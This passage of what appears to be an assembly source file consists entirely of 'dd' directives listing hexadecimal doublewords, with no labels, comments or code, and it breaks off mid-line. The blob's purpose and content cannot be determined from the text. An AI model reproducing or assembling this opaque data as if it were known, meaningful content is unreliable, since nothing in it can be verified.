10C4D2E1h, 55045DCEh, 8EC6044Bh dd 6B45C04h, 2008FE57h, 51FB489Ah, 192C8E0h, 10887F20h dd 970C788Fh, 0C901086Bh, 6C23B489h, 28186FCBh, 0C2084DA0h dd 0F018CAD5h, 315D99F8h, 0B23424A5h, 3F31F492h, 0CED71085h dd 93C1E701h, 0C44F108h, 0C9093995h, 45B904A2h, 55F6002h dd 0CADC447Fh, 1B204A5h, 647D404h, 650831EBh, 44AF116Eh dd 67C169Ch, 31101D4Dh, 5E085A56h, 8185010Fh, 52DDB01h dd 82080518h, 0A87492DAh, 0CC6CEF08h, 7BA14A08h, 0F3109864h dd 38303891h, 0E8A31B02h, 10247269h, 0CB983083h, 0D38617F1h dd 8C81908h, 608C505Eh, 32F5FC9Ch, 0C7158A4h, 26474AEFh dd 0E4C7788Bh, 10446762h, 752CC03Bh, 1331EB02h, 0A7B90E89h dd 5003DBDh, 408F4401h, 0C9040B49h, 748BF775h, 0DE098FA8h dd 10D5F003h, 0F0C033E3h, 4FB1190Fh, 2FAC2C30h, 38EE4E14h dd 2CD01DC2h, 4285D627h, 4230138h, 810C0154h, 710982C5h dd 528B601Eh, 1F1C0590h, 6F4DE929h, 0C0DE264Fh, 0C93C1AB4h dd 0AD465F0Eh, 8068523Ch, 5A2B5044h, 0C7D8CEE9h, 0D0515664h dd 135817D1h, 668059B7h, 0E91940FFh, 5E124F6Bh, 6CAFC37Fh dd 0D480358Ch, 5E5775C7h, 1DAC12Fh, 30285DCAh, 4907BDD9h dd 70E92C1Bh, 4C517DCh, 0C672848h, 184EE01h, 0BEE90804h dd 1D61B9F5h, 0B2FCC77Bh, 0ADD621CCh, 0C9E4E8Ch, 3D9378B8h dd 711851D4h, 0B35314ECh, 0EB80D207h, 837C087h, 0DEE765E2h dd 1C2802Dh, 68537540h, 9810D22Dh, 2D4E820Fh, 0E505A2Ch dd 0F4DD0927h, 40AE2510h, 60466BABh, 280DAD81h, 0CEC24A2Ah dd 25DB7616h, 0C19E9C75h, 6A13FF0Ch, 0BAC47F3Eh, 744398BBh dd 0B98C694Ah, 99CF0581h, 0B54EAB75h, 9683053h, 0B8A32250h dd 93653E38h, 3A98FD01h, 9D2D7BD7h, 7F7257F9h, 713EE440h dd 0E90B6406h, 0F8205AF4h, 60A0EEF3h, 88ED3BC1h, 644B2409h dd 7E39FAE8h, 8AC052ADh, 26CE9D44h, 513CC55Bh, 0F498A5F8h dd 813946F2h, 57CA033Eh, 0C71BD10Ah, 4AD8F3B6h, 0B52BA3Fh dd 4F99BAh, 3815E1DAh, 5EFC465Bh, 2F3B4170h, 0C26F18A1h dd 0A3DCE301h, 0E4B81713h, 8D87E909h, 0AF0AA64h, 5C123696h dd 5725F28Ah, 6804DFC6h, 367D26E2h, 0DC95D8BAh, 5F532392h dd 22ED02CFh, 57663251h, 801024Ah, 57EA2AE9h, 30F28132h dd 4CF37A01h, 0FA529404h, 0D8C45C03h, 0C4EAB4A8h, 0B59B0039h dd 0E9646172h, 4C9C5A30h, 97A44BFh, 0DF311786h, 0C7C0E3FCh dd 2433434Ch, 7164F01h, 7917A5E9h, 0B5D9473Bh, 0B1530313h dd 0C817439h, 0F5C66005h, 6E846B8Bh, 9790F012h, 0C952FBE9h dd 8F04D5CBh, 46CCAEEFh, 0BC716E9h, 9761BB01h, 0BB0C0A1Eh dd 88282509h, 262BFD30h, 0D7DB2101h, 0E9A13B77h, 1CD92920h dd 954DE921h, 0F14ADF1Ch, 48E7C1A7h, 8A4049E4h, 46EE0181h dd 19F7651h, 0E99385F1h, 67ACF694h, 31BC43C6h, 0E03B5BCh dd 6171155h, 120A3970h, 8011D76h, 35B55B0Bh, 10BE5C29h dd 190C6C29h, 2752CC8Bh, 76E982AAh, 8AB6D1CAh, 42B8912Dh dd 0BA05D6F8h, 0D329AF20h, 0FB87245Ah, 0E90830A4h, 0C9B288Bh dd 80186812h, 0A329B45Fh, 2DE890B6h, 69630CEAh, 0AD05D59h dd 17337806h, 0F1FADBF7h, 79D32AADh, 5D124A28h, 50FA3E87h dd 0E916088Ah, 4E4AEC4Fh, 8EB8A056h, 243CFBA5h, 970E675Ah dd 3FE573F7h, 0B4510987h, 4D3FE950h, 0F112367Eh, 0C40CF95Eh dd 0CAAAAD54h, 0C9825FC7h, 0FE597557h, 0D5ED0C42h, 0A9715F12h dd 25BB5AA7h, 0C66FC34h, 0B02A557Ah, 883C9646h, 0F97E17EBh dd 8B12ACF3h, 6969EF3Ch, 0B477FC2Ah, 82141AD7h, 0FB25FE10h dd 0FA0F4172h, 0E63D1869h, 0F67A05FEh, 0C3D29FF6h, 0B83D939Ah dd 0CF74BDEAh, 5F0695C6h, 41DB0102h, 705822CEh, 808F36Ch dd 0A00152A3h, 0B531FE08h, 0E90578F1h, 5F990192h, 98FE32Eh dd 0F559CE29h, 99E9A798h, 41E36B4Eh, 1C1AB490h, 0CC325002h dd 568016D9h, 1541C2BEh, 0E6810351h, 2FC15B5Ch, 7076F6B0h dd 0E945B704h, 540E22C4h, 0D4887CC4h, 0BAC484D1h, 0E90B37E6h dd 3846D7A4h, 51C86818h, 95E5661Dh, 212C0C44h, 3B1001D0h dd 8A73FC4Bh, 54A5C196h, 6DABEFEBh, 55CA4D90h, 3C943A02h dd 4002EAC1h, 1422E291h, 0E8427260h, 0AF751B24h, 0DC03FFF4h dd 240F676h, 0B102AB0Ch, 14555865h, 13A99013h, 6497D3Eh dd 460C9004h, 0B050520Eh, 57F66B77h, 35B0391Ah, 707E0C0h dd 0C2884A2Ch, 6B0868E1h, 0A846CC2Fh, 0F5BF1060h, 161D3CF9h dd 64EE0147h, 51B3BF60h, 0D8585485h, 7D172D51h, 1F0C4A67h dd 2DFB6D0h, 0C16B6512h, 807606EFh, 0C8436B2Dh, 5FB3EAEEh dd 2F42E1D3h, 0F22F2629h, 8368093Ch, 0A5147D07h, 8C287A85h dd 136F2941h, 4F62B31Fh, 8BDA2E8h, 1C13D0BBh, 2D0C764Dh dd 1609544Ah, 0EF4B58C3h, 8085F742h, 46E1FF02h, 0AD893B64h dd 9B1C1C82h, 91C0E606h, 785C5839h, 59E90D97h, 823F2A75h dd 0E65F2D7Bh, 25CCB5D1h, 4E9133FAh, 0E9855FA3h, 3B528F15h dd 4F04D81Dh, 5CFA28DEh, 42E7C221h, 11C12B8Fh, 61ED2147h dd 0A408BC01h, 491061CBh, 0BE2B612h, 21289652h, 0B5518784h dd 0E3DEE7E4h, 0A875708h, 0A77DE9B9h, 0B4307758h, 3B33C905h dd 4D5551E9h, 4B169CE0h, 232CEB01h, 5B550953h, 7102455Dh dd 8C0A028Ch, 0D5BC1B2Dh, 0AA257B04h, 2AF80413h, 67AA1787h dd 105EC2FFh, 21FC6C75h, 42BC56B1h, 67E95D04h, 6A309926h dd 81D1884Ch, 20B20752h, 333ACA80h, 63C01C2h, 32F28308h dd 84FA53E9h, 4099A3BEh, 0EA316823h, 0D38ABB13h, 0D505ED27h dd 0FE0A6B67h, 9A092B04h, 0C26265D7h, 2CFFADF1h, 0D245FD2Ah dd 0EA13BEF6h, 0D2F9EC5Dh, 0E9E7D0EAh, 0A3959B1Ah, 50988D65h dd 0C103100Ch, 0B737C444h, 89A12A35h, 4FA89480h, 0CF812604h dd 8F0EF90Ch, 4A20C49h dd 0F775C51Fh, 7566FCDFh, 0AC842D01h, 0AF03E9B8h, 68829C28h dd 0EC7F3807h, 0BEF132E4h, 0E0FDE8B1h, 0F91E2C4Ah, 824015A5h dd 3E91707Fh, 46DB200h, 0B1D0289Dh, 0A77FA588h, 0F3B35952h dd 510BCF43h, 944CBDEFh, 81557130h, 2575E1C3h, 1022D7FBh dd 11AC6EBh, 4F041538h, 2239E90Bh, 1E5B89C8h, 0CC7AA042h dd 0C717307Bh, 0C832370Ah, 0A2079E1Dh, 4D874F3Fh, 0E88BE5D3h dd 35E913EBh, 0AB96060Dh, 6E2D0C12h, 7460F9F9h, 7C29124Ch dd 635FAB73h, 18C3312h, 5DAAAAB7h, 487D5E62h, 2714C88Ah dd 0FE01654h, 399FE0A2h, 23725641h, 4E109010h, 8EC01FC1h dd 68C21338h, 4E480523h, 5A80E171h, 0ACC99929h, 0C79F58D9h dd 4103E69Fh, 35DF03Ch, 614B8382h, 0EEA6E765h, 7FCA82ECh dd 0E8C66B64h, 1458806h, 200501C0h, 0F5643C04h, 6954DEB2h dd 0A733DBE9h, 4A53A576h, 0DB75EF07h, 16F28652h, 901EC119h dd 3AEED559h, 0E2A49FE8h, 4DE917C8h, 0A2EDEE53h, 16BA718Eh dd 20B2EF7Fh, 17DF0927h, 0E87D1910h, 286FDD79h, 1DD871DEh dd 0AD7A2F7Eh, 0BBC195D6h, 39E16682h, 1209C720h, 0D05FCF38h dd 3E1A5A36h, 7C015110h, 100A2468h, 0E90C0629h, 16A63FD6h dd 0B813E768h, 9B04D24Ah, 0B7004C79h, 0A6B15148h, 0C1A28095h dd 0B7CF2008h, 0E9716240h, 3F606A32h, 0EFC4B8E7h, 0A4514C5Dh dd 38AC04D6h, 0BF31EE1Eh, 3D32EE1Fh, 2B80D525h, 56D9EA81h dd 4C4BA93Ch, 1CE7197Bh, 0C870F61Ah, 0CCB6260Fh, 63930B06h dd 6E782F5Ch, 0A38082F6h, 626F7EFAh, 29E729Dh, 0BBB951C2h dd 0C7E0354Dh, 0DA9D02E9h, 5C1A0A3Eh, 3C552F3h, 21E15469h dd 0E2E5180Eh, 0CA01464Fh, 72625CAh, 25337F46h, 22F3F918h dd 0FABDEACEh, 91266FEFh, 838A68CBh, 5C9A8921h, 0EF7E02Bh dd 27416219h, 0EDA1C0F8h, 85BE02A9h, 5DEE21B6h, 0C6F4F242h dd 426FBB00h, 0EB85065h, 7666182Dh, 53272481h, 39E02F0Fh dd 217EC93Bh, 0C2BFB25Dh, 6ED414Ch, 89DA8140h, 0C03E4AF0h dd 774C0566h, 4415672Eh, 4B072D14h, 7DEA4E13h, 7296201Ah dd 11424814h, 0BFF520ECh, 7FDFD3C0h, 3FF09D65h, 613D835Ah dd 0B507DE37h, 1FF2B8D5h, 0A90B55F5h, 0EA25902Dh, 13673982h dd 8001BE51h, 6AE07152h, 7FE91A47h, 96DFEA10h, 47D12DDEh dd 0C2CFE559h, 0FF012822h, 0AE989A16h, 90A5BC20h, 0B978BF55h dd 3DD0ECE9h, 90507B9Eh, 0C117C02Dh, 0A4FBF9E3h, 0B1CC2A0h dd 0C622BC9Ah, 2AEEEC01h, 76D30D20h, 8482B93Eh, 8D5F4168h dd 3122892Ah, 779BD5FDh, 0C3276CC9h, 0D50CF885h, 0F6984A61h dd 8C965E2Fh, 53756B6Eh, 0F0293A19h, 0E67E23B4h, 0A1E55090h dd 0F0AD44BDh, 10366047h, 0F380C6B3h, 0DD88D61Fh, 183D2D3Ah dd 0A538F93Fh, 0CC57128Bh, 1844FC82h, 0A290FCFh, 9B6A2D05h dd 396DACA7h, 0EEE48358h, 0F79A7E46h, 1BB0510h, 0FF6B6D6Eh dd 5BF5FC8h, 13324538h, 324B8731h, 637E58C7h, 0FD9DE22Fh dd 0F3959AEEh, 1C7D4B1Ch, 72E9183Dh, 10BBAA15h, 0DF892BC2h dd 0B5AF465Bh, 825DBF0Bh, 0F254F89Ah, 0D1332028h, 6DE74B50h dd 1F89CB54h, 0FB71A7BFh, 18926DCEh, 8098D03Ah, 0EEE608CEh dd 0E6C0F118h, 0E0D2C60Ch, 0ED5A5BF0h, 0E99481DDh, 1021DDFh dd 5C099C74h, 0B195C839h, 31F13D5Dh, 0A403CF93h, 0A000918h dd 48BBE3BCh, 0F514B70Eh, 9701B160h, 0A7A09DDBh, 0F15A889Ch dd 7BF7A00Ah, 6FC80563h, 0C89FF5E9h, 0A4F0034Ah, 57022096h dd 0A5554C68h, 9BB14381h, 2BB9B928h, 3CD56BACh, 0FBFEC413h dd 0F6385336h, 3CDF6594h, 11948042h, 225AF673h, 0A88216F1h dd 0E0F649Eh, 3D724640h, 0E9105404h, 0A6A26B7Dh, 0BE316817h dd 0CB28734h, 68FBE9E1h, 0CDBE0356h, 5856DA5Fh, 0FD175F28h dd 59B0B855h, 1B568B4Bh, 9B0EE8Fh, 31F77B5Bh, 0EF122CFEh dd 97FC9213h, 0B0813E69h, 7010201Fh, 2B69B2A8h, 256AF36Eh dd 11A449F3h, 22846884h, 673ADB98h, 61C7CBAEh, 7BF4A3C6h dd 66589585h, 0C206FE62h, 4F17CE25h, 5502E077h, 0F278D824h dd 22C2B5D3h, 0A3514068h, 0F94FB730h, 14A7CC23h, 627A9D5Eh dd 52D5613Ch, 685E313Bh, 42856F71h, 0E9847AEDh, 3F91F1DCh dd 267A99F2h, 0C865E8FDh, 6C569D0Eh, 342F1B39h, 0D73064BFh dd 5D080A6h, 73004E97h, 26BF2D64h, 0C6552381h, 9F0B9926h dd 69A04C5Ch, 729ED559h, 0BDB71EBDh, 0A06C9B22h, 0AF0AC644h dd 0E450CA4Fh, 0CEF3F507h, 958B782Bh, 0EC5758C2h, 0EF9A2020h dd 0B21BE07h, 27A402F4h, 2DAF68D5h, 982040FEh, 2A508757h dd 0A2A606D3h, 1FEFBD0Fh, 0AF52FF2Eh, 5DF668A1h, 0A26A3351h dd 29A2315h, 9B50C8BEh, 3DA0FF5Dh, 36A32FF6h, 3680F49h dd 0BF4C5B25h, 0F82E0B7Eh, 3486AB6Fh, 34832DEh, 341D7D81h dd 0E6813F05h, 33283B0Eh, 8D10AB31h, 6219ACBDh, 2FD49C6Eh dd 1528430Ah, 23261216h, 579CFE8h, 0E96DAA31h, 5B84E035h dd 0EB6CD9B5h, 97F62D08h, 75D608ACh, 3EC3B565h, 208696C9h dd 585B6555h, 3168C528h, 54511264h, 13CA6F50h, 80C5277Ch dd 898BEE79h, 35B7473Ch, 0A462FD60h, 0B18E382h, 0B0CA0055h dd 0BF238A3Fh, 0F0B78278h, 0EB09BC7Bh, 0B9EE8E0Bh, 0E9D610BDh dd 3B6B41F0h, 8393D8D3h, 209D48E8h, 64970F20h, 8F2315Fh dd 814AAC8Dh, 2A44C763h, 0AA427134h, 5F6DCACDh, 69AB23E0h dd 5A642918h, 2E426396h, 0F91CADh, 23D82FF0h, 0F1550FE9h dd 14472550h, 7E30FF52h, 5D2ED81h, 1736441h, 949385F5h dd 9213FA76h, 45E1A810h, 3927C3CDh, 3D767959h, 2707289Ch dd 0E912B05Fh, 0F7DFAA73h, 0B3DE4942h, 0E2C14AE0h, 5AF7FE07h dd 30D33440h, 5CF968F5h, 45E92EA8h, 9B3D494Ch, 6034CBD6h dd 5876D65Dh, 0E69D154Bh, 8CE917E3h, 0C2964026h, 6B21577Dh dd 7E7DE1BDh, 0B85F9B38h, 4A6209E5h, 0F67007C5h, 7BF55F11h dd 627C9020h, 2EFA1A1h, 2225CCC7h, 0F0B6E988h, 0B453BF05h dd 7A979542h, 6B6CA889h, 2EB00D39h, 6BADE01h, 0EB588A08h dd 6003186Bh, 0B8689F0Ch, 0E5029542h, 209E2D7h, 0FDC3C4FBh dd 28F12893h, 0ADD83BF2h, 2D68E6E1h, 16D34DD0h, 17EF9388h dd 81C3255Ah, 6838331Bh, 8651C9D6h, 0D3BFFCh, 0C2A9BBF6h dd 5EF72960h, 5F595718h, 1398E1D0h, 177CA672h, 7515C86Ah dd 0D5F7312h, 5856C071h, 4A2C5900h, 789562E4h, 0C3CBE950h dd 0AB1DCE9h, 80D8A02Eh, 3095C509h, 59B554ECh, 0A00E7EDh dd 653141BAh, 0F8D70142h, 87236064h, 0A204DCC6h, 0B50C3C4Ch dd 999941EBh, 2E2BAC5Eh, 0E91238ECh, 0AB418417h, 68092BA3h dd 0E19A2536h, 500D7850h, 19DDD2E9h, 3980B07Bh, 70A44090h dd 0B98722CAh, 235F25A7h, 7A6886F0h, 6BCFC534h, 5E3B8CC7h dd 0F208F695h, 8969B2D5h, 7AC2FC2Eh, 5FA7FEF9h, 63493C8Eh dd 2F52AC27h, 0FEF9B760h, 0E73180C7h, 4EEF0B85h, 8866068Fh dd 0C85BDFDCh, 8A10E4EBh, 0F328A20Fh, 7BB0C36Eh, 88F6816h dd 38B07D33h, 0C337EE31h, 0CCE95224h, 5F279156h, 1492F795h dd 17CBC8EBh, 5A204D61h, 0FED0566h, 67312DD1h, 0E3E9CC89h dd 0CCD7F862h, 15144414h, 0F113C295h, 0C85EAFA5h, 0C3A50C58h dd 2E30EE93h, 0FE0109F8h, 8821990h, 92682AA1h, 79E36F36h dd 1FDACCD3h, 3B8DF25Dh, 0B68298DFh, 9BCEA63h, 5D716174h dd 15A24CDDh, 2F5F3D68h, 0DFA7E93Fh, 5FE0AF79h, 0BD49DD68h dd 0B6BFC7CCh, 7655C431h dd 20DDBFA4h, 76AA602Eh, 224F2146h, 81805CB9h, 64525CF5h dd 0DDF70C05h, 0EEA120E9h, 0B4E7BD3Ah, 7DD0CCF4h, 0E8B55B84h dd 43B296A6h, 0ED0EEBC9h, 0FB2CAE13h, 95D05221h, 330EA619h dd 0BFCA6420h, 2C50A501h, 5FFB290Dh, 3BE88540h, 8192BFFAh dd 41C080Dh, 0BD7E2317h, 4EFE03E0h, 0C8856295h, 2E5E649Ah dd 4CA0EA2h, 0FE76116Dh, 0D5E94380h, 0DF87C5B0h, 0A13CECECh dd 1362CF90h, 0EE6B1C04h, 81E0842Fh, 2B97D4B8h, 0F3BA7A34h dd 44225A7h, 4EB5DF5h, 0D06DFA10h, 160D6854h, 60E877C5h dd 14CA5B3h, 0A67E6C2Dh, 50A3D00h, 80D1212Ah, 6B16A5E1h dd 8DC03F66h, 0EA4BD987h, 0CAE8B538h, 9A9D33BEh, 0A51277B2h dd 0D987CB58h, 56BD268Bh, 8AAC8D9Eh, 47B82BD5h, 172440A2h dd 0F25AB7E8h, 6195C9BCh, 0DD8497Bh, 3F5C9A73h, 70CC059h dd 0E6B4B050h, 0E48405F5h, 7CF3CA85h, 0ACEC1A12h, 222EDE42h dd 134CC5A5h, 0E28BAF02h, 25A4E54Fh, 4AEFE3AFh, 0EB874008h dd 205C1BE9h, 0CAC89BF7h, 979D587Ah, 1C02F39h, 308111DFh dd 6068BABBh, 0D5A9E834h, 0DCBD24C0h, 0B787CC4Eh, 93F77D8h dd 0FFC295D1h, 195558FAh, 0FD5F246Eh, 0D7A5F895h, 232F6802h dd 448458CBh, 4B9EB837h, 9862E0C9h, 1AE95327h, 5E9350FEh dd 1A266851h, 5DD2340Ch, 71B85C00h, 0F7045DFDh, 24E946DEh dd 0A94A6BA8h, 2154885Ah, 0E95302FFh, 85595D29h, 0C2C26592h dd 172DF028h, 0F804A3B5h, 68F52F18h, 7B5AC7DAh, 85F0B594h dd 0E302C3FAh, 0E9FD3146h, 38465D36h, 3C677A81h, 6DB9027Fh dd 5D43E237h, 0B9004B89h, 0AAB5271h, 7CB1294Eh, 9EA70806h dd 0BE5EFA5Bh, 511C2CA0h, 2A92C588h, 13A9DEBh, 2B94E47h dd 0CE407529h, 0B1242372h, 1203C32Ch, 1F7A3B34h, 0D769A90Ch dd 1D02BB1Dh, 62CB71ACh, 67BDABFBh, 0EAA988C5h, 0CF0F6928h dd 0D625243Ah, 568E3A0Bh, 0D7DEC231h, 870B4064h, 0DD09B25Ch dd 1FADFEB0h, 38AE6DD4h, 16C632ECh, 0E1C10177h, 0AF017E07h dd 0E665FC9Fh, 0D709AC44h, 389C7F39h, 3B90C17Fh, 56EAC91Fh dd 0D03E1018h, 882A204Fh, 0E3685909h, 0B436B066h, 0A83E5E1Ah dd 45A4021Eh, 404E442Eh, 5AC4E937h, 82262708h, 590655CBh dd 53C3A9E2h, 5A784030h, 0DE4BE985h, 4ACCA0FEh, 170053BFh dd 291743F5h, 0BBBCE9FEh, 6984A617h, 0CEFFDC0h, 15D1AADh dd 80B30D6h, 0F62DAB45h, 3D1258AAh, 817E1897h, 9EEDB12Fh dd 4D934953h, 830928E6h, 0D119F55Fh, 7EBA4048h, 5F02A660h dd 0FD5009BBh, 5275C3Eh, 0CC0E11E9h, 55005681h, 7E3F1968h dd 5EC15D25h, 6BF9E0EDh, 66A74912h, 15C73B01h, 68E40E2Ah dd 43615213h, 7E400104h, 5401FF0Fh, 7FEC7099h, 25028760h dd 0B36283E9h, 350BCF40h, 0C8680CC2h, 8DF12Bh, 1E1BB850h dd 35001110h, 212C6BFAh, 6A03E0C1h, 904D0848h, 2BBE0158h dd 3163EA38h, 38739A2Ch, 770B7B2Fh, 325FDE29h, 0D0E948DDh dd 0FC3AE119h, 9ED8F5F1h, 0D5EA2780h, 0EBEC84D8h, 4F94D276h dd 0B450823Ah, 5DE0E933h, 0FA972494h, 4A97FEBAh, 513CE2F7h dd 0C2364195h, 0E6050488h, 52A8640Dh, 3B67BFC0h, 0BB0202F9h dd 75F80703h, 0C11D5401h, 2DCE21E9h, 1D4201A1h, 0FD292EA0h dd 802BD44h, 0F72D09E9h, 0ED90E594h, 259C0FCh, 5BA1732Ah dd 0B91F70D9h, 5E729C2h, 6E717D4Fh, 0B56EEF01h, 856AC2F9h dd 9E98EEBDh, 0B3E25B26h, 9AF91377h, 272A368Dh, 0BBE865EDh dd 3868EC98h, 9D704162h, 5E52C97Eh, 32A880Bh, 8418E326h dd 6259CBB5h, 322E4257h, 650069ECh, 0BE5F641Bh, 0C5699441h dd 0AD60477Ah, 27FF84C6h, 0FEF48007h, 0B122C467h, 22010C53h dd 21F58714h, 0E03B45F2h, 0EA5EB8Bh, 29629810h, 12BD55C5h dd 0C6CFE108h, 0A3ECB559h, 0A4E24AE9h, 0BE16EFAAh, 0D2573E64h dd 0AD84B697h, 0B22590Ch, 61742F19h, 0FFD85D6Ah, 0DB5AB5D6h dd 0EFC4E629h, 2BB10612h, 0C909D9ECh, 3C772DC6h, 5F799D10h dd 56B97DCBh, 0D16801F2h, 56B498F2h, 0B3B534E9h, 73C6C112h dd 0AB39CDh, 7D4901ECh, 1366BB53h, 0BC371463h, 0A22C1633h dd 8A66E659h, 2070572h, 3006F680h, 52E938E6h, 0DA29D9C5h dd 0B0818809h, 3E09A1FDh, 0AC99401Eh, 0D8581AABh, 20B707A7h dd 4F33DDC3h, 4C3B06Ah, 0F6CEF72Bh, 0AD40AB09h, 78E5129Eh dd 0E9F81331h, 4FAD8043h, 13F60597h, 35154E1Ch, 225A2B4Ch dd 0CDC94D27h, 0A763C381h, 3DA1F476h, 0B3EBF7C0h, 0B0586F6Ch dd 6EFC139Dh, 0FB770DDEh, 1C08061Ch, 300A1484h, 0EE447179h dd 9C7D4B02h, 22B4215h, 5E1FECEEh, 5BDF016Dh, 2003EFC1h dd 22FC47C9h, 7F613FF5h, 0BE00E6B8h, 7D2D6FA9h, 0FA52786Eh dd 727C4CA0h, 0EF49BFB0h, 89DF6628h, 111DEE01h, 0F8BDE931h dd 5ED3CA6Ah, 0E982A0A2h, 310511A8h, 0D728C6A4h, 7107AB11h dd 0C8BE01C2h, 90C28F2h, 39991B74h, 426F8682h, 6DFB2500h dd 0DC735048h, 7C4F172Ah, 58E4A84Dh, 0D1CD2DD2h, 365C82C6h dd 0EC5D5990h, 0CA8102A5h, 69E19ACh, 267FDFE0h, 4A4D3205h dd 0F785F0E9h, 412029BEh, 0A06E1360h, 3AC295B3h, 5FB965A5h dd 3B5CB3E1h, 947FF344h, 802580Bh, 6C370C5h, 0D7EB05A7h dd 36DCAB83h, 3538FEA5h, 252DEBA0h, 0A70B1D71h, 6FFBF04h dd 8B2A811Bh, 6D6FA60Fh, 382F2D03h, 630C0114h, 0E94B8E07h dd 2B687534h, 0E5ED0481h, 0B87A346Bh, 0BDB95A14h, 6128CB85h dd 9443ABDFh, 10B5D183h, 704CD941h, 0DCF6DA0Fh, 67F3D85Ch dd 0FB975FF9h, 0CC302D07h, 49C0611h, 9D5FFE70h, 0D322FA1Eh dd 0C359653Ch, 0FC9A2D57h, 2E997F50h, 997DB802h, 0C2C2E255h dd 0E90801B2h, 8F8CD802h, 0F03B2677h, 98C79744h, 0AE4F3DF2h dd 34FF9496h, 308E8DCFh, 0BB9DF851h, 1EAD99Ch, 840F80C7h dd 9FED5CE0h, 302CEED2h, 0B6EF4E96h, 0A22D7AD9h, 8BFA1323h dd 972AF39Ah, 0CFF02883h, 51007ECFh, 0DDF678B5h, 0EF3525E9h dd 0DE8920D9h, 0A535FB4Ch, 3C874982h, 38173BF3h, 5E9CEC4h dd 0D6B4E2D2h, 8804E895h, 8CE3B9E1h, 0D02A5F17h, 0E3B7535Eh dd 30DFF639h, 0C78004D7h, 46789F0Dh, 0C5A6E926h, 0EDC15A82h dd 0A451E005h, 0FB582E38h, 2F460292h, 0C9603FE3h, 0AA5C0207h dd 1829585Dh, 567B7F1h, 41304E67h, 0E868508Fh, 0ECA72E3Eh dd 0FF6913D6h, 0FCE09762h, 30B80C27h, 0B4130527h, 9047D18h dd 0D6A94E3Eh, 414E605h, 6E12AB3Dh, 0A2D3B0Ah, 61B4843Ah dd 60EA32F7h, 3508FF10h, 50D11AC5h, 596F9C04h, 7DE30416h dd 0FB4A066h, 0DE822C5Fh, 0EE55505Ah, 0A553B4DDh, 0E909E6EFh dd 5490AB2Fh, 0E2C16254h, 9B4FF0C0h, 46ED1DC1h, 0A306544h dd 0B1C74009h, 64A8BD4Bh, 64F18008h, 0EC00E09h, 0AB194991h dd 0CF9654DBh, 0EBFF40C5h, 8B3B4DDEh, 29AFCEh, 10A1F37Eh dd 0F940E375h, 134D3CCAh, 0F4A17FBh, 462E3001h, 787D971Bh dd 5CB5066Bh, 0B9510098h, 32D46F16h, 18FAD8B5h, 0B80D080Ch dd 0A1C06168h, 533C84E2h, 99BB030h, 711164CCh, 42F583E2h dd 0BC3B6303h, 5B81BE12h, 0A8A52A9Dh, 524832F8h, 0E82225B0h dd 14571B5h, 0D92551A6h, 0FF5D203Fh, 601A7BC1h, 14490F55h dd 0FF7876DEh, 0CA0C1525h, 0A2BF927h, 5AA09046h, 182619A0h dd 68150BE1h, 5F0D3472h, 39658ACh, 0B88086A0h, 9670A44Ch dd 0A5913DAEh, 0DB3ADF0Ch, 5C923CE5h, 4E92CBFBh, 70200E98h dd 7549DF8h, 6A1668C1h dd 0FC3C238Bh, 0F8627DD4h, 0A2EC7F8Eh, 0A7706C5h, 0DAE9DC01h dd 0C81A33Ch, 0E63926C1h, 25C47B6Dh, 3144C1AFh, 82E8C9C5h dd 95D0F708h, 35E78452h, 0BA5988C0h, 99650568h, 0EFEA01F2h dd 50313628h, 5B7BF4D5h, 0D3BEE989h, 751D470Bh, 24A1F9Ch dd 0DD4642C2h, 0C4452381h, 131A3C4Ah, 0E9FCEE66h, 2B084B89h dd 249F0194h, 3B093BFAh, 0EA866841h, 842E6B1Eh, 5480AFDFh dd 602966D7h, 465F8A78h, 48763B3Dh, 1E13C5F0h, 0EE899Ch dd 712EE3D8h, 0D794637Fh, 0BDC62CBAh, 0D556EDA8h, 87680CC5h dd 4D37BD2Bh, 0AF93DDCCh, 0F8D409D0h, 0AC394ADBh, 0EB871379h dd 9A4CFEA2h, 4726F507h, 0B366F41h, 0E0036139h, 40B085F6h dd 0F05C8910h, 16EE3A80h, 770DC166h, 8003AC6h, 0AA2FE5E9h dd 682D40BDh, 0CF4A4B97h, 50BB4061h, 5E7562B5h, 0CC5C3090h dd 34602979h, 5D1D0F0Ch, 7ED2BF41h, 324BDA09h, 0B72FEBFh dd 0D66AD9A5h, 9633D07Dh, 0BC4152D7h, 0D611ADA3h, 576913AFh dd 2ABBB127h, 68CDC984h, 3B0E0B01h, 1ED8000h, 0E0C4E8B8h dd 0D04E6D78h, 37F033E9h, 0C685B09h, 0D3FF460Dh, 21269C18h dd 25E9E83Bh, 80B84A08h, 872BA18Ah, 0EB81004Dh, 5B314E7Fh dd 0C590CB29h, 0D7E90880h, 866D2869h, 95FBD8DDh, 26BEEB59h dd 0C0A75742h, 0E1736E6h, 1C2D1E3Ch, 0E9600360h, 23921452h dd 0B536803h, 0E7580F1Dh, 63A32D6h, 2566C4BDh, 0D80B9A03h dd 0F54A9561h, 706C68Ch, 65C98102h, 77186074h, 0BB503E8Ch dd 0E02C67F6h, 0D800377Fh, 29135E39h, 0BC9A2DDh, 1B807D08h dd 546D69C8h, 3649F8BDh, 0CA429D67h, 0C81C12A3h, 322C2EAh dd 1CF1A1C5h, 60E589B1h, 5A3E68A7h, 0E890669Dh, 4EDA97D6h dd 0E95EBAA0h, 87BEED26h, 6F0F2A40h, 0B31395Bh, 0AE4F3392h dd 7EE95D8Ch, 8801B6F6h, 5E03060Fh, 1719BE68h, 0A6A2F023h dd 733705D4h, 0EF4BFCh, 9A42FA22h, 0DB5BF726h, 228A3A9h dd 945200EEh, 0D929587Fh, 1F5551E9h, 583749Dh, 0E2626C0Bh dd 82EB5074h, 1BF90207h, 0FD3305A4h, 0E8D02D8Bh, 2E98CB16h dd 85BE768h, 7025B46Fh, 2C829538h, 10550133h, 3254CC7Eh dd 135636BEh, 78A03850h, 0CD20362h, 5556F930h, 0E1FD4B89h dd 0F3FF54C4h, 187B4C34h, 0C6876263h, 0D41A3ACAh, 0DB2E2B6Bh dd 1092088h, 71AAE8C3h, 617782D3h, 99AE3189h, 0A9B3978Ch dd 0C5EA0F9Dh, 7617CB07h, 0A108A02Ch, 0C46F5359h, 458FEE1Ah dd 451E564Ah, 0D11658F6h, 2B59CF2Eh, 1941A390h, 0EC245FC0h dd 0C1D240C5h, 9A94F16h, 8DC50ABh, 730F914Ah, 1A111143h dd 61200F25h, 7183BD6Fh, 9207F129h, 27546AC8h, 2C6C16Fh dd 7E203F9Dh, 970825BAh, 25014856h, 47160C99h, 7E4240AFh dd 864C7F51h, 4061338h, 5ACDEE6Eh, 34A79EDDh, 395E8355h dd 0E4456940h, 0D9B0925Fh, 256841A5h, 